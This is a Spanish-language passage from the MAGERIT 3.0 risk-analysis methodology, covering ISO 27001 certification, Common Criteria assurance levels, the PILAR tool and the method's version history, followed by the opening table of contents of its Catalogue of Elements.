A4.1.1. La certificación Certificar un sistema de gestión de la seguridad consiste en que alguien, externo a la Organización y acreditado para la tarea, afirma que ha auditado el sistema y lo considera ajustado a la norma correspondiente. En el caso que nos ocupa, la norma es la UNE-ISO/IEC 27001:2007. El que certifica compromete en ello su palabra (por escrito). Con todas las cautelas de alcance y tiempo que se consideren oportunas (y se recojan explícitamente). Y sabiendo que lo que se asegura hoy, hay que revisarlo a medio plazo pues todo evoluciona. Para obtener un certificado hay que seguir una serie de formalismos. Sin entrar en excesivo detalle nos centraremos en qué evalúa el equipo que envía el organismo de certificación a juzgar a la Organización. Lo primero que hay que hacer es delimitar el alcance de lo que se va a evaluar como “Sistema de Gestión de la Seguridad de la Información”. Esta es una delimitación propia de cada Organización, que refleja su misión y su organización interna. Es importante delimitar con claridad. Si el perímetro es difuso no quedará claro qué hay que hacer en los pasos siguientes; en particular, no se sabrá muy bien a qué personas y departamentos hay que dirigirse para reclamar la información pertinente. Nótese que esto puede no ser evidente. Actualmente es raro encontrar una organización cerrada desde el punto de vista de sus sistemas de información: la externalización de servicios, la administración electrónica y el comercio electrónico han diluido las fronteras. Por otra parte, el organigrama interno rara vez responde a las responsabilidades en seguridad. Lo siguiente que hay que tener claro, escrito y mantenido es la política de seguridad corporativa. A menudo la política de seguridad incluye la relación de la legislación que afecta. Es absolutamente necesario delimitar el marco legislativo y regulatorio al que hay que atenerse. Todo debe estar escrito. Y bien escrito: se entiende, es coherente, se divulga, es conocido por los involucrados y se mantiene al día. Un proceso de certificación siempre tiene un fuerte componente de revisión de documentación. Antes de que venga el equipo evaluador, hay que tener una foto del estado de riesgo de la Organización. Es decir, que hay que hacer un análisis de riesgos identificando activos, valorándolos, identificando y valorando las amenazas significativas. En este proceso se determina qué salvaguardas requiere el sistema y con qué calidad. Cada caso es un mundo aparte: ni todo el mundo tiene los mismos activos, ni valen lo mismo, ni están igualmente interconectados, ni todo el mundo está sujeto a las mismas amenazas, ni todo el mundo adopta la misma estrategia para protegerse. El análisis de riesgos es una herramienta (imprescindible) de gestión. Por hacer o dejar de hacer un análisis de riesgos no se está ni más ni menos seguro: simplemente, se sabe dónde se está. A partir de este conocimiento podemos tomar decisiones de tratamiento y ejecutarlas. © Ministerio de Hacienda y Administraciones Públicas

página 115 (de 127)

Magerit 3.0

Evaluación y certificación

Los resultados del análisis de riesgos permiten justificar las decisiones de tratamiento del riesgo. Todo esto deberá ser verificado por el equipo evaluador que, de quedar satisfecho, avalará la concesión del certificado. El equipo evaluador inspecciona el sistema de información que se desea certificar contrastándolo con una referencia reconocida que permita objetivar la evaluación a fin de evitar cualquier tipo de arbitrariedad o subjetividad y permitir la utilización universal de las certificaciones emitidas. Se utiliza un “esquema de certificación” (en el caso que nos ocupa, la norma UNE-ISO/IEC 27001:2007). La norma 27001 tiene por objeto la especificación de “los requisitos para establecer, implantar, documentar y evaluar un Sistema de Gestión de la Seguridad de la Información con independencia de su tipo, tamaño o área de actividad.”

A4.1.2. La acreditación de la entidad certificadora La credibilidad del certificado es la confianza que merezca el certificador. ¿Cómo se construye esta confianza? Un componente esencial es la credibilidad del esquema de certificación. Un segundo componente es la credibilidad de la organización que emite los certificados. Esta organización es responsable de la competencia del equipo evaluador y de la ejecución del proceso de evaluación. Para certificar que estas responsabilidades se cumplen se procede al llamado “proceso de acreditación” donde una nueva organización evalúa al evaluador. En España, la organización encargada de acreditar organismos certificadores es ENAC, que se acoge a la normativa internacional de reconocimiento mutuo de certificados emitidos por diferentes certificadores en diferentes países.

A4.1.3. Terminología Se recogen a continuación los términos usados en las actividades de certificación de sistemas de información, tal y como se entienden en este contexto. Acreditación Procedimiento mediante el cual un Organismo autorizado reconoce formalmente que una organización es competente para la realización de una determinada actividad de evaluación de la conformidad. Auditoría Ver “evaluación”. Certificación El objetivo de la certificación es “declarar públicamente que un producto, proceso o servicio es conforme con requisitos establecidos” . Certification: A comprehensive assessment of the management, operational, and technical security controls in an information system, made in support of security accreditation, to determine the extent to which the controls are implemented correctly, operating as intended, and producing the desired outcome with respect to meeting the security requirements for the system. [NIST 800-37] Documento de certificación (o registro) Documento que afirma que el sistema de gestión de la seguridad de la información (SGSI) de una organización es conforme a la normativa de referencia adaptada a la singularidad de la organización certificada. Documento de selección de controles Documento que describe los objetivos de control y los controles relevantes y aplicables al Sistema de Gestión de la Seguridad de la Información de la organización. Éste documento debe estar basado en los resultados y conclusiones del proceso de análisis y gestión de riesgos.

© Ministerio de Hacienda y Administraciones Públicas

página 116 (de 127)

Magerit 3.0

Evaluación y certificación

Esquema de certificación Marco técnico y administrativo que establece la referencia de trabajo frente a la que se contrasta el cumplimiento de la organización sometida a evaluación, se emite el certificado o registro y se mantiene actualizado y válido. Evaluación Conjunto de actividades que permiten determinar si la organización satisface los criterios aplicables dentro del esquema de certificación. Incluye actividades preparatorias, revisión de la documentación, inspección del sistema de información y la preparación de la documentación pertinente para la emisión del certificado de conformidad, si procede. Organismo de certificación (o registro) Entidad que, a la vista del informe de evaluación, certifica (o registra) la satisfacción por la organización de los requisitos establecidos en el esquema de certificación. Organismos de evaluación de la conformidad Son los encargados de evaluar y realizar una declaración objetiva de que los servicios y productos cumplen unos requisitos específicos, ya sean del sector reglamentario o del voluntario. Sistema de gestión Conjunto de recursos que utiliza una organización para alcanzar sus. El sistema de gestión incluye aspectos tan diversos como

— la estructura organizativa, — la definición y asignación de responsabilidades, — la documentación: política(s), normativa, procedimientos, guías, instrucciones, etc. — la planificación de actividades. Sistema de gestión de la seguridad de la información Parte del sistema de gestión que, basado en los riesgos para el negocio, establece, implementa, opera, monitoriza, revisa, mantiene y mejora la seguridad de la información. Política de seguridad Conjunto de normas reguladoras, reglas y prácticas que determinan el modo en que los activos, incluyendo la información considerada como sensible, son gestionados, protegidos y distribuidos dentro de una organización.

A4.2. Criterios comunes de evaluación (CC) La necesidad de evaluar la seguridad de un sistema de información aparece muy temprano de la mano de los procesos de adquisición de equipos del Departamento de Defensa de los EEUU que, en 1983, publica el llamado “Libro Naranja” (TCSEC – Trusted Computer System Evaluation Criteria). El objetivo es especificar sin ambigüedad qué se necesita por parte del comprador y qué se ofrece por parte del vendedor, de forma que no haya malentendidos sino un esquema transparente de evaluación, garantizando la objetividad de las adquisiciones. La misma necesidad lleva a la aparición de iniciativas europeas como ITSEC (Information Technology Security Evaluation Criteria). A mediados de los años 90, existe en el mundo una proliferación de criterios de evaluación que dificulta enormemente el comercio internacional, llegándose a un acuerdo de convergencia que recibe el nombre de “Common Criteria for Information Technology Security Evaluation”, normalmente conocidos como “Criterios Comunes” o por sus siglas, CC. Los CC, además de la necesidad de un entendimiento universal, capturan la naturaleza cambiante de las tecnologías de la información que, en el periodo desde 1980, han pasado de estar centradas en los equipos de computación, a englobar sistemas de información mucho más complejos. Los CC permiten

© Ministerio de Hacienda y Administraciones Públicas

página 117 (de 127)

Magerit 3.0

Evaluación y certificación

1. definir las funciones de seguridad 35 de los productos y sistemas (en tecnologías de la información) y 2. determinar los criterios para evaluar [la calidad] de dichas funciones. Es esencial la posibilidad que los CC abren para que la evaluación sea objetiva y pueda realizarse por una tercera parte (ni por el proveedor, ni por el usuario) de forma que la elección de salvaguardas adecuadas se vea notablemente simplificada para las organizaciones que necesitan mitigar sus riesgos. La administración española, y otras muchas, reconocen las certificaciones de seguridad emitidas en otros países en base al “Arreglo sobre el Reconocimiento de los Certificados de Criterios Comunes en el Campo de la Tecnología de la Información” 36 . La evaluación de un sistema es la base para su certificación. Para certificar es necesario disponer de 1. unos criterios, que definen el significado de los elementos que se van a evaluar 2. una metodología, que marque cómo se lleva a cabo la evaluación 3. un esquema de certificación 37 que fije el marco administrativo y regulatorio bajo el que se realiza la certificación

Ilustración 23. Proceso de certificación

De esta forma se puede garantizar la objetividad del proceso; es decir, construir la confianza en que los resultados de un proceso de certificación son válidos universalmente, independientemente de dónde se realice la certificación. Dado que [la calidad de] la seguridad requerida de un sistema no es siempre la misma, sino que depende de para qué se quiera emplear, CC establece una escala de niveles de aseguramiento 38 : EAL0: sin garantías EAL1: probado funcionalmente 35 En CC se emplea una terminología propia, rigurosa pero no siempre intuitiva. Más adelante se recoge la definición precisa de cada término en el contexto de los CC. 36 El día 23 de mayo de 2000 tuvo lugar en Baltimore (Maryland, Estados Unidos) la ratificación de la adhesión de Alemania, Australia, Canadá, España, Estados Unidos, Finlandia, Francia, Grecia, Italia, Noruega, Nueva Zelanda, Países Bajos y Reino Unido, al Arreglo sobre el Reconocimiento de los Certificados de Criterios Comunes en el campo de la Seguridad de la Tecnología de la Información (en lo sucesivo Arreglo). Posteriormente, se han incorporado Israel, Suecia, Austria, Turquía, Hungría, Japón, República Checa, Corea, Singapur e India. Véase http://www.csi.map.es/csi/pg3433.htm. 37 El Real Decreto 421/2004 de 12 de marzo, regula las funciones del Centro Criptológico Nacional, entre cuyas funciones aparece la de “constituir el organismo de certificación del esquema nacional de evaluación y certificación de la seguridad de las tecnologías de información, de aplicación a productos y sistemas en su ámbito.” El esquema nacional puede encontrarse en http://www.oc.ccn.cni.es/ . 38 EAL: Evaluation Assurance Level

© Ministerio de Hacienda y Administraciones Públicas

página 118 (de 127)

Magerit 3.0

Evaluación y certificación

EAL2: probado estructuralmente EAL3: probado y chequeado metódicamente EAL4: diseñado, probado y revisado metódicamente EAL5: diseñado y probado semi-formalmente EAL6: diseñado, probado y verificado semi-formalmente EAL7: diseñado, probado y verificado formalmente Los niveles superiores requieren un mayor esfuerzo de desarrollo y de evaluación, ofreciendo a cambio unas grandes garantías a los usuarios. Por ejemplo, en el ámbito de la firma electrónica, los dispositivos seguros de firma suelen certificarse contra un perfil de nivel EAL4+ 39 .

A4.2.1. Beneficiarios Los CC se dirigen a una amplia audiencia de potenciales beneficiarios de la formalización de los conceptos y elementos de evaluación: los consumidores (usuarios de productos de seguridad), los desarrolladores y los evaluadores. Un lenguaje común entre todos ellos se traduce en ventajas apreciables: Para los consumidores • que pueden expresar sus necesidades, antes de adquirir los servicios o productos que las satisfagan; esta caracterización puede resultar útil tanto en adquisiciones individuales, como en la identificación de necesidades de grupos de usuarios •

que pueden analizar las características de los servicios o productos que ofrece el mercado

•

que pueden comparar diferentes ofertas

Para los desarrolladores • que saben qué se les va a exigir y cómo se van a evaluar sus desarrollos •

que saben, objetivamente, qué requieren los usuarios

•

que pueden expresar sin ambigüedad lo que hacen sus desarrollos

Para los evaluadores • que disponen de un marco formalizado para saber qué tienen que evaluar y cómo tienen que calificarlo Para todo el mundo • que dispone de unos criterios objetivos que permiten aceptar las certificaciones realizadas en cualquier parte Todos estos participantes convergen sobre un objeto a evaluar denominado TOE (Target Of Evaluation), que es el servicio o producto (de seguridad) cuyas características (de seguridad) se quieren evaluar. Cuando un análisis de riesgos expone la relación de salvaguardas adecuadas, estas pueden venir expresadas en terminología CC, lo que permite engarzar con las ventajas citadas, convirtiéndose en una especificación normalizada.

A4.2.2. Requisitos de seguridad Dado un sistema se pueden determinar, a través de un análisis de riesgos, qué salvaguardas se requieren y con qué calidad. Este análisis puede hacerse sobre un sistema genérico o sobre un sistema concreto. En CC, el conjunto de requisitos que se le exigen a un sistema genérico se de39 Cuando un producto está entre dos niveles, se indica su nivel inferior seguido de un signo “+” que se lee como “aumentado”. Así, un producto evaluado EAL4+ significa que cumple todos los niveles de calidad del nivel 4 y algunos de niveles superiores.

© Ministerio de Hacienda y Administraciones Públicas

página 119 (de 127)

Magerit 3.0

Evaluación y certificación

nomina perfil de protec ción (PP – Protection Profile). Si no se está hablando de un sistema genérico, sino de un sistema concreto, el conjunto de requisitos se conoce como declaración de seguridad (ST – Security Target). Los PP, dado su carácter genérico, cubren diferentes productos concretos. Suelen ser preparados por grupos de usuarios u organismos internacionales que quieren modelar el mercado 40 . Los ST, dado su carácter específico, cubren un producto concreto. Suelen ser preparados por los propios fabricantes que de esta manera formalizan su oferta 41 . CC determina los apartados en que debe estructurarse un PP o un ST. El índice de estos documentos es un buen indicador de su alcance: PP- perfil de protección Introduction — TOE description — Security environment • assumptions • threats • organizational security policies — Security objectives • for the TOE • for the environment — Security requirements • for the environment • TOE functional requirements • TOE assurance requirements — Application notes — Rationale —

ST – declaración de seguridad Introduction — TOE description — Security environment • assumptions • threats • organizational security policies — Security objectives • for the TOE • for the environment — Security requirements • for the environment • TOE functional requirements • TOE assurance requirements — TOE summary specification — PP claims • PP reference • PP tailoring • PP additions — Rationale —

Tabla 11. Perfiles de protección y Declaraciones de seguridad

Los PP y los ST pueden ser a su vez sometidos a una evaluación formal que verifique su completitud e integridad. Los PP así evaluados pueden pasar a registros públicos para ser compartidos por diferentes usuarios. En la elaboración de un ST se hace referencia a los PP a los que se acoge.

A4.2.3. Creación de perfiles de protección La generación de un PP o un ST es básicamente un proceso de análisis de riesgos donde el analista, habiendo determinado el dominio del análisis (el TOE en terminología de CC), identifica amenazas y determina, a través de los indicadores de impacto y riesgo, las salvaguardas que se requieren. En la terminología de CC, las salvaguardas requeridas se denominan requisitos d e seguridad y se subdividen en dos grandes grupos 40 Un ejemplo típico de PP podría ser aquel que fija las características de seguridad que se deben exigir a un cortafuegos. 41 Un ejemplo típico de ST podría ser aquel que fija las características de seguridad del modelo 3000 del fabricante XXL S.A., un modelo que permite cifrar las comunicaciones telefónicas.

© Ministerio de Hacienda y Administraciones Públicas

página 120 (de 127)

Magerit 3.0

Evaluación y certificación

requisitos funcionales de seguridad (functional requirements) •

¿qué hay que hacer?

•

definen el comportamiento funcional del TOE

requisitos de garantía de la funcionalidad de la seguridad (assurance requirements) •

¿está el TOE bien construido?

•

¿es eficaz? ¿satisface el objetivo para el que se requiere?

•

¿es eficiente? ¿alcanza sus objetivos con un consumo razonable de recursos?

Es importante destacar que CC establece un lenguaje común para expresar los objetivos funcionales y de aseguramiento. Es necesario pues que el análisis de riesgos utilice esta terminología en la selección de salvaguardas. La norma CC nos proporciona en su parte 2 el catálogo estandarizado de objetivos funcionales, mientras que en su parte 3 nos proporciona el catálogo estandarizado de objetivos de aseguramiento. Parte 2: Requisitos funcionales FAU: Security audit FCO: Communication FCS: Cryptographic support FDP: User data protection FIA: Identification and authentication FMT: Security management FPR: Privacy FPT: Protection of the TOE security functions FRU: Resource utilisation FTA: TOE access FTP: Trusted path / channels

Parte 3: Requisitos de garantía ACM: Configuration management ADO: Delivery and operation ADV: Development AGD: Guidance documents ALC: Life cycle support ATE: Tests AVA: Vulnerability assessment APE: PP evaluation ASE: ST evaluation

Tabla 12. Requisitos funcionales y de aseguramiento de la función

A4.2.4. Uso de productos certificados Cuando un TOE ha sido certificado de acuerdo a un PP o un ST, según convenga en cada caso, se puede tener la certeza de que dicho TOE satisface las necesidades y además las satisface con la calidad requerida (por ejemplo, EAL4). La certificación de un sistema o producto no es garantía ciega de idoneidad: es necesario cerciorarse de que el PP o ST respecto del que se han certificado satisface los requisitos de nuestro sistema. El análisis de riesgos nos ha permitido elaborar el PP o el ST o, en ocasiones, seleccionar un conjunto apropiado a nuestro mapa de riesgos. Pero lo esencial es que de análisis de riesgos se han obtenido unos requisitos de seguridad cuya satisfacción permitirá mantener impacto y riesgo residuales bajo control. En la medida en que un producto certificado se ajusta a un PP o ST que satisface nuestras necesidades, la gestión de riesgos se reduce a adquirir el producto, instalarlo y operarlo en las condiciones adecuadas. Es importante destacar que tanto los PP como los ST incluyen una sección denominada “hipótesis” (assumptions) en la que se establecen una serie de prerrequisitos que debe satisfacer el entorno operacional en el que se instala TOE. No se hace sino reconocer que el mejor producto, inadecuadamente instalado u operado, es incapaz de garantizar la satisfacción de los objetivos globales. Por ello, los productos certificados son componentes muy sólidos de un sistema; pero además hay que garantizar su entorno para asegurar el sistema completo. © Ministerio de Hacienda y Administraciones Públicas

página 121 (de 127)

Magerit 3.0

Evaluación y certificación

A4.2.5. Terminología Debido a que su objetivo es servir de referencia internacional y sustentar evaluaciones y certificaciones, los criterios comunes deben ser muy precisos en su terminología. En el texto previo se han venido introduciendo los términos según se necesitaban; estos términos se recogen formalmente a continuación: Assurance (garantía) Base de la confianza en que una entidad cumple sus objetivos de seguridad. Evaluation (evaluación) Valoración de un PP, ST o TOE frente a criterios definidos. Evaluation Assurance Level (EAL) (nivel de garantía de evaluación) Paquete que consiste en componentes de garantía de la Parte 3 y que representa un nivel en la escala de garantía predefinida de CC. Evaluation authority (autoridad de evaluación) Organismo que implementa los CC para una comunidad específica mediante un esquema de evaluación por el que se establecen las normas y se supervisa la calidad de las evaluaciones realizadas por organismos de dicha comunidad. Evaluation scheme (esquema de evaluación) Marco administrativo y regulador bajo el que una autoridad de evaluación aplica los CC en una comunidad específica. Formal Expresado en un lenguaje de sintaxis restringida con una semántica definida basada en conceptos matemáticos bien establecidos. Informal Expresado en lenguaje natural. Organisational security policies (Políticas de seguridad organizativas ) Una o más reglas de seguridad, procedimientos, prácticas o directrices impuestas por una organización sobre sus operaciones. Product (producto) Paquete de software, firmware y/o hardware de TI que proporciona una funcionalidad diseñado para su uso o su incorporación en una gran variedad de sistemas. Protection Profile (PP) (perfil de protección) Conjunto de requisitos de seguridad, independiente de la implementación, para una categoría de TOEs que satisfacen unas necesidades específicas del consumidor. Security objective (objetivo de seguridad) Declaración de la intención de contrarrestar las amenazas identificadas y/o de cumplir las políticas e hipótesis de seguridad identificadas de la organización. Security Target (ST) (declaración de seguridad) Conjunto de requisitos de seguridad y especificaciones utilizados como base de la evaluación de un TOE identificado. Semiformal Expresado en un lenguaje de sintaxis restringida con semántica definida. System (sistema) Instalación específica de TI, con un propósito y en un entorno particulares. Target of Evaluation (TOE) (objeto a evaluar) Producto o sistema de TI y sus manuales de administrador y de usuario asociados que se somete a evaluación. © Ministerio de Hacienda y Administraciones Públicas

página 122 (de 127)

Magerit 3.0

Evaluación y certificación

TOE Security Functions (TSF) (funciones de seguridad del TOE) Conjunto compuesto de todo el hardware, firmware y software del TOE con el que hay que contar para la correcta aplicación de la TSP. TOE Security Policy (TSP) (política de seguridad del TOE) Conjunto de reglas que regulan cómo se gestionan, protegen y distribuyen los activos en el TOE.

© Ministerio de Hacienda y Administraciones Públicas

página 123 (de 127)

Magerit versión 2

Herramientas

Apéndice 5. Herramientas La realización de un proyecto de análisis de riesgos supone trabajar con una cierta cantidad de activos que rara vez baja de las decenas y que habitualmente son algunos centenares. El número de amenazas típicamente está del orden de las decenas, mientras que el número de salvaguardas está en los millares. Todo ello nos indica que hay que manejar multitud de datos y combinaciones entre ellos, lo que lleva lógicamente a buscar apoyo de herramientas automáticas. Como requisitos generales, una herramienta de apoyo al análisis de riesgos debe: •

permitir trabajar con un conjunto amplio de activos, amenazas y salvaguardas;

•

permitir un tratamiento flexible del conjunto de activos para acomodar un modelo cercano a la realidad de la Organización;

•

ser utilizada a lo largo de los tres procesos que constituyen el proyecto, especialmente como soporte al proceso P2, Análisis de Riesgos y

•

no ocultar al analista el razonamiento que lleva a las conclusiones.

Las herramientas pueden hacer un tratamiento cualitativo o cuantitativo de la información. La opción entre uno y otro planteamiento ha sido motivo de largo debate. Los modelos cualitativos ofrecen resultados útiles antes que los modelos cuantitativos, simplemente porque la captura de datos cualitativa es más ágil que la cuantitativa 42 . Los modelos cualitativos son eficaces relativizando lo más importante de lo que no es tan importante; pero agrupan las conclusiones en grandes grupos. Los modelos cuantitativos, por el contrario, consiguen una ubicación precisa de cada aspecto. Impacto y riesgo residual pueden ser cualitativos hasta que aparecen grandes inversiones y hay que determinar su racionalidad económica: ¿qué es lo que interesa más? En este punto se necesitan números. Una opción mixta es útil: un modelo cualitativo para el sistema de información completo, con capacidad de entrar en un modelo cuantitativo para aquellos componentes cuya protección va a requerir fuertes desembolsos. También es cierto que el modelo de valor de una Organización debe emplearse durante largo tiempo, al menos durante los años que dure el plan de seguridad para analizar el efecto de la ejecución del plan de seguridad. Es notablemente más dificultoso generar un modelo de valor desde cero que ir adaptando un modelo existente a la evolución de los activos del sistema y a la evolución de los servicios que presta la Organización. En esta evolución continua puede afrontarse la progresiva migración de un modelo cualitativo inicial hacia un modelo cada vez más cuantitativo. Es de destacar que los datos de caracterización de las posibles amenazas son datos tentativos en los primeros modelos; pero la experiencia permite ir ajustando las valoraciones a la realidad. Sean herramientas cualitativas o cuantitativas, estas deben: •

Manejar un catálogo razonablemente completo de tipos de activos. En esta línea se orienta el capítulo 2 del "Catálogo de Elementos".

•

Manejar un catálogo razonablemente completo de dimensiones de valoración. En esta línea se orienta el capítulo 3 del "Catálogo de Elementos".

•

Ayudar a valorar los activos ofreciendo criterios de valoración. En esta línea se orienta el capítulo 4 del "Catálogo de Elementos".

•

Manejar un catálogo razonablemente completo de amenazas. En esta línea se encamina el capítulo 5 del "Catálogo de Elementos".

42 Hay que valorar activos y esta es una tarea de consenso. Tanto la valoración como la búsqueda del consenso son notablemente más rápidas si hay que determinar un orden de magnitud que si hay que determinar un número absoluto.

© Ministerio de Hacienda y Administraciones Públicas

página 124 (de 127)

Magerit versión 2

Herramientas

•

Manejar un catálogo razonablemente completo de salvaguardas. En esta línea se orienta el capítulo 6 del "Catálogo de Elementos".

•

Evaluar el impacto y el riesgo residuales.

Es interesante que las herramientas puedan importar y exportar los datos que manejan en formatos fácilmente procesables por otras herramientas, cabiendo citar •

XML – Extended Markup Language que es la opción tomada en esta guía, que establece formatos XML de intercambio

•

CSV – Comma Separated Values

A5.1. PILAR PILAR, acrónimo de “Procedimiento Informático-Lógico para el Análisis de Riesgos” es una herramienta desarrollada bajo especificación del Centro Nacional de Inteligencia para soportar el análisis de riesgos de sistemas de información siguiendo la metodología Magerit. La herramienta soporta todas las fases del método Magerit: •

Caracterización de los activos: identificación, clasificación, dependencias y valoración

•

Caracterización de las amenazas

•

Evaluación de las salvaguardas

La herramienta incorpora los catálogos del "Catálogo de Elementos" permitiendo una homogeneidad en los resultados del análisis: •

tipos de activos

•

dimensiones de valoración

•

criterios de valoración

•

catálogo de amenazas

Para incorporar este catálogo, PILAR diferencia entre el motor de cálculo de riesgos y la biblioteca de elementos, que puede ser reemplazada para seguir el paso de la evolución en el tiempo de los catálogos de elementos. La herramienta evalúa el impacto y el riesgo, acumulado y repercutido, potencial y residual, presentándolo de forma que permita el análisis de por qué se da cierto impacto o cierto riesgo. Las salvaguardas se califican por fases, permitiendo la incorporación a un mismo modelo de diferentes situaciones temporales. Típicamente se puede incorporar el resultado de los diferentes proyectos de seguridad a lo largo de la ejecución del plan de seguridad, monitorizando la mejora del sistema. Los resultados se presentan en varios formatos: informes RTF, gráficas y tablas para incorporar a hojas de cálculo. De esta forma es posible elaborar diferentes tipos de informes y presentaciones de los resultados. Por último, la herramienta calcula calificaciones de seguridad siguiendo los epígrafes de normas de iure o de facto de uso habitual. Caben citarse: •

UNE-ISO/IEC 27002:2009: sistemas de gestión de la seguridad

•

RD 1720/2007: datos de carácter personal

•

RD 3/2010: Esquema Nacional de Seguridad

Por último hay que destacar que PILAR incorpora tanto los modelos cualitativo como cuantitativo, pudiendo alternarse entre uno y otro para extraer el máximo beneficio de las posibilidades teóricas de cada uno de ellos.

© Ministerio de Hacienda y Administraciones Públicas

página 125 (de 127)

Magerit versión 2

Evolución de Magerit

Apéndice 6. Evolución de Magerit La primera de Magerit, publicada en 1997 ha resistido en su mayor parte el paso del tiempo, ratificándose en lo fundamental. No obstante, el tiempo pasado permite mejorar notablemente aquella primera versión. La segunda versión, publicada en 2005, se planteó como revisión constructiva, adaptándola al tiempo presente e incorporando la experiencia de estos años. Esta tercera versión busca una nueva adaptación, teniendo en cuenta no solo la experiencia práctica sino también la evolución de las normas internacionales de ISO que constituyen un referente obligado.

A6.1. Para los que han trabajado con Magerit v1 Si usted ha trabajado con Magerit v1.0, todos los conceptos le resultarán familiares, aunque hay cierta evolución. En particular reconocerá lo que se denominaba submodelo de elementos: activos, amenazas, vulnerabilidades, impactos, riesgos y salvaguardas. Esta parte conceptual ha sido refrendada por el paso del tiempo y sigue siendo el eje alrededor del cual se vertebran las fases fundamentales de análisis y gestión. Se ha corregido y ampliado lo que se denominaba “subestados de seguridad” dándole el nuevo nombre de “dimensiones” 43 e introduciendo nuevas varas de medir lo que interesa de los activos. El submodelo de procesos aparece bajo el epígrafe de “estructuración del proyecto de análisis y gestión de riesgos”. Si bien Magerit v1.0 ha resistido bien el paso del tiempo en lo conceptual, no se puede decir lo mismo de los detalles técnicos de los sistemas de información con los que se trabaja. Se intenta una puesta al día; pero ante todo se intenta diferenciar lo que es esencial (y permanente) de lo que es coyuntural y cambiará con el tiempo. Esto se traduce en parametrizar el método de trabajo, referenciándolo a catálogos externos de amenazas y salvaguardas que se podrán actualizar, adaptándose al paso del tiempo. Así pues, quede el método, abierto de forma que estando claro qué se hace y cómo, se puedan adaptar los detalles a cada momento. Los 7 libros segregados en Magerit versión 1, han evolucionado:

Magerit versión 1

Magerit versión 3

Libro I. Guía de aproximación a la seguridad de Libro I – Método los sistemas de información Libro II. Guía de procedimientos

Libro I – Método

Libro III. Guía de técnicas

Guía de Técnicas

Libro IV. Guía para desarrolladores de aplica- Libro I – Método / Capítulo 7 Desarrollo de sisciones temas de información Libro V. Guía para responsables del dominio Libro I – Método protegible Libro II – Catálogo de Elementos Libro VI. Arquitectura de la información y espe- Libro II – Catálogo de Elementos / formatos cificaciones de la interfaz para el intercambio de XML datos Libro VII. Referencia de normas legales y técni- Libro I – Método / Apéndice 3. Marco legal cas

43 Dimensión, en una de las acepciones del Diccionario de la Lengua Española, dícese que es “Cada una de las magnitudes de un conjunto que sirven para definir un fenómeno. Por ejemplo, el espacio de cuatro dimensiones de la teoría de la relatividad.”

© Ministerio de Hacienda y Administraciones Públicas

página 126 (de 127)

Magerit versión 2

Evolución de Magerit

A6.2. Para los que han trabajado con Magerit v2 Esta versión 3 mantiene en gran medida la estructura de la versión 2: — Libro I – Método — Libro II – Catálogo de Elementos — Técnicas Cambios en la versión 3: — mejor alineamiento con la normativa ISO, buscando una integración de las tareas de análisis de riesgos dentro de un marco organizacional de gestión de riesgos dirigido desde los órganos de gobierno — se aligera el texto — se eliminan partes poco importantes o poco usadas — se normalizan las diferentes actividades o

MAR – Método de Análisis de Riesgos

o

PAR – Proyecto de Análisis de Riesgos

o

PS – Plan de Seguridad

© Ministerio de Hacienda y Administraciones Públicas

página 127 (de 127)

MAGERIT – versión 3.0 Metodología de Análisis y Gestión de Riesgos de los Sistemas de Información Libro II - Catálogo de Elementos

TÍTULO: MAGERIT – versión 3.0. Metodología de Análisis y Gestión de Riesgos de los Sistemas de Información. Libro II - Catálogo de Elementos Elaboración y coordinación de contenidos: Dirección General de Modernización Administrativa, Procedimientos e Impulso de la Administración Electrónica Equipo responsable del proyecto: Director, Miguel Angel Amutio Gómez, Ministerio de Hacienda y Administraciones Públicas Javier Candau, Centro Criptológico Nacional, Ministerio de la Presidencia Consultor externo: José Antonio Mañas, Catedrático de la Universidad Politécnica de Madrid Características: Adobe Acrobat 5.0 Responsable edición digital: Subdirección General de Información, Documentación y Publicaciones (Jesús González Barroso) Madrid, octubre de 2012 Disponible esta publicación en el Portal de Administración Electrónica (PAe): http://administracionelectronica.gob.es/ Edita: © Ministerio de Hacienda y Administraciones Públicas Secretaría General Técnica Subdirección General de Información, Documentación y Publicaciones Centro de Publicaciones Colección: administración electrónica NIPO: 630-12-171-8

Magerit 3.0

Índice 1. Introducción.................................................................................................................... 6

2. Tipos de activos ............................................................................................................. 7

2.1. Activos esenciales..................................................................................................................7

2.1.1. Datos de carácter personal ............................................................................................8

2.2. Arquitectura del sistema.........................................................................................................8

2.3. [D] Datos / Información...........................................................................................................8

2.4. [K] Claves criptográficas.........................................................................................................9

2.5. [S] Servicios ...........................................................................................................................9

2.6. [SW] Software - Aplicaciones informáticas...........................................................................10

2.7. [HW] Equipamiento informático (hardware) .........................................................................10

2.8 [COM] Redes de comunicaciones.........................................................................................11

2.9. [Media] Soportes de información..........................................................................................12

2.10. [AUX] Equipamiento auxiliar...............................................................................................12

2.11. [L] Instalaciones .................................................................................................................13

2.12. [P] Personal........................................................................................................................13

2.13. XML ....................................................................................................................................13

2.13.1. Sintaxis BNF ...............................................................................................................13

2.13.2. Esquema XSD ............................................................................................................14

3. Dimensiones de valoración ......................................................................................... 15

3.1. [D] Disponibilidad .................................................................................................................15

3.2. [I] Integridad de los datos .....................................................................................................15

3.3. [C] Confidencialidad de la información.................................................................................15

3.4. [A] Autenticidad ....................................................................................................................16

3.5. [T] Trazabilidad.....................................................................................................................16

3.6. XML ......................................................................................................................................16

3.6.1. Sintaxis BNF .................................................................................................................16

3.6.2. Esquema XSD ..............................................................................................................17

3.7. Referencias ..........................................................................................................................17

4. Criterios de valoración................................................................................................. 19

4.1. Escalas estándar..................................................................................................................19

4.2. XML ......................................................................................................................................23

4.2.1. Sintaxis BNF .................................................................................................................23

4.2.2. Esquema XSD ..............................................................................................................24

4.3. Referencias ..........................................................................................................................24

5. Amenazas...................................................................................................................... 25

5.1. [N] Desastres naturales........................................................................................................25

5.1.1. [N.1] Fuego ...................................................................................................................25

5.1.2. [N.2] Daños por agua ...................................................................................................25

5.1.3. [N.*] Desastres naturales..............................................................................................26

5.2. [I] De origen industrial ..........................................................................................................27

5.2.1. [I.1] Fuego ....................................................................................................................27

5.2.2. [I.2] Daños por agua .....................................................................................................27

5.2.3. [I.*] Desastres industriales ............................................................................................28

5.2.4. [I.3] Contaminación mecánica ......................................................................................28

5.2.5. [I.4] Contaminación electromagnética ..........................................................................29

5.2.6. [I.5] Avería de origen físico o lógico .............................................................................29

5.2.7. [I.6] Corte del suministro eléctrico ................................................................................30

5.2.8. [I.7] Condiciones inadecuadas de temperatura o humedad .........................................30

5.2.9. [I.8] Fallo de servicios de comunicaciones ...................................................................30

5.2.10. [I.9] Interrupción de otros servicios y suministros esenciales.....................................31

